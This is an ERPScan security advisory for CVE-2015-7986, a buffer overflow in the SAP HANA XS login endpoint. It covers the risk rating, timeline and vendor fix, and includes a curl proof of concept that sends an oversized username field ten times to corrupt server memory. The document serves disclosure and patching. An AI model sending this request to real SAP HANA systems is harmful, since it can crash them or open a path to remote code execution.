SAP HANA 1.00.095 - hdbindexserver Memory Corruption

[ERPSCAN-15-024] SAP HANA hdbindexserver - Memory corruption



Application:                     SAP HANA

Versions Affected:          SAP HANA 1.00.095

Vendor URL:                  http://SAP.com

Bugs:                              Memory corruption, RCE

Reported:                       17.07.2015

Vendor response:          18.07.2015

Date of Public Advisory: 13.10.2015

Reference:                     SAP Security Note 2197428

Author:                            Mathieu Geli (ERPScan)





Description





1. ADVISORY INFORMATION



Title: SAP HANA 1.00.095

Advisory ID: [ERPSCAN-15-024]

Risk: Hight

Advisory URL: http://erpscan.com/advisories/erpscan-15-024-sap-hana-hdbindexserver-memory-corruption/

Date published: 13.10.2015

Vendors contacted: SAP



2. VULNERABILITY INFORMATION



Class: Memory corruption, RCE

Impact: full system compromise

Remotely Exploitable: Yes

Locally Exploitable: No

CVE Name: CVE-2015-7986

CVSS Information

CVSS Base Score:  9.3 / 10

CVSS Base Vector:

AV : Access Vector (Related exploit range)

     Network (N)

AC : Access Complexity (Required attack complexity)                 Medium (M)

Au : Authentication (Level of authentication needed to exploit)    None (N)

C : Impact to Confidentiality

                Complete (C)

I  : Impact to Integrity

                     Complete (C)

A : Impact to Availability

                   Complete (C)



3. VULNERABILITY DESCRIPTION



A buffer overflow vulnerability exists in SAP HANA interface. If an

attacker has a network access to the SQL interface or the SAP HANA

Extended Application Services interface of an SAP HANA system, the

vulnerability enables the attacker to inject code into the working

memory that is subsequently executed by the application. It can also

be used to cause a general fault in the product causing the product to

terminate.



Proof of concept



This authentication request should be replayed 10 times.



curl -v -XPOST http://hana:8000/sap/hana/xs/formLogin/login.xscfunc -H

'Content-type: application/x-www-form-urlencoded; charset=UTF-8' -H

'X-csrf-token: unsafe' -d

'xs-username=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'







4. VULNERABLE PACKAGES



SAP HANA 1.00.095.00

Other versions are probably affected too, but they were not checked.





5. SOLUTIONS AND WORKAROUNDS



To correct this vulnerability, install SAP Security Note 2197428





6. AUTHOR



Mathieu Geli (ERPScan)





7. TECHNICAL DESCRIPTION



An anonymous attacker can use a special HTTP request to corrupt SAP

HANA index server memory.





8. REPORT TIMELINE



Send:  17.07.2015

Reported:  17.07.2015

Vendor response: 18.07.2015

Date of Public Advisory: 13.10.2015





9. REFERENCES



http://erpscan.com/advisories/erpscan-15-024-sap-hana-hdbindexserver-memory-corruption/





10. ABOUT ERPScan Research



The company’s expertise is based on the research subdivision of

ERPScan, which is engaged in vulnerability research and analysis of

critical enterprise applications. It has achieved multiple

acknowledgments from the largest software vendors like SAP, Oracle,

Microsoft, IBM, VMware, HP for discovering more than 400

vulnerabilities in their solutions (200 of them just in SAP!).

ERPScan researchers are proud to have exposed new types of

vulnerabilities (TOP 10 Web Hacking Techniques 2012) and to be

nominated for the best server-side vulnerability at BlackHat 2013.

ERPScan experts have been invited to speak, present, and train at 60+

prime international security conferences in 25+ countries across the

continents. These include BlackHat, RSA, HITB, and private SAP

trainings in several Fortune 2000 companies.

ERPScan researchers lead the project EAS-SEC, which is focused on

enterprise application security research and awareness. They have

published 3 exhaustive annual award-winning surveys about SAP

security.

ERPScan experts have been interviewed by leading media resources and

featured in specialized info-sec publications worldwide. These include

Reuters, Yahoo, SC Magazine, The Register, CIO, PC World, DarkReading,

Heise, and Chinabyte, to name a few.

We have highly qualified experts in staff with experience in many

different fields of security, from web applications and

mobile/embedded to reverse engineering and ICS/SCADA systems,

accumulating their experience to conduct the best SAP security

research.





11. ABOUT ERPScan

ERPScan is the most respected and credible Business Application

Security provider. Founded in 2010, the company operates globally and

enables large Oil and Gas, Financial and Retail organizations to

secure their mission-critical processes. Named as an ‘Emerging Vendor’

in Security by CRN, listed among “TOP 100 SAP Solution providers” and

distinguished by 30+ other awards, ERPScan is the leading SAP SE

partner in discovering and resolving security vulnerabilities. ERPScan

consultants work with SAP SE in Walldorf to assist in improving the

security of their latest solutions.

ERPScan’s primary mission is to close the gap between technical and

business security, and provide solutions to evaluate and secure SAP

and Oracle ERP systems and business-critical applications from both,

cyber-attacks as well as internal fraud. Usually our clients are large

enterprises, Fortune 2000 companies and managed service providers

whose requirements are to actively monitor and manage security of vast

SAP landscapes on a global scale.

We ‘follow the sun’ and function in two hubs, located in the Palo Alto

and Amsterdam to provide threat intelligence services, agile support

and operate local offices and partner network spanning 20+ countries

around the globe.





Adress USA: 228 Hamilton Avenue, Fl. 3, Palo Alto, CA. 94301

Phone: 650.798.5255

Twitter: @erpscan

Scoop-it: Business Application Security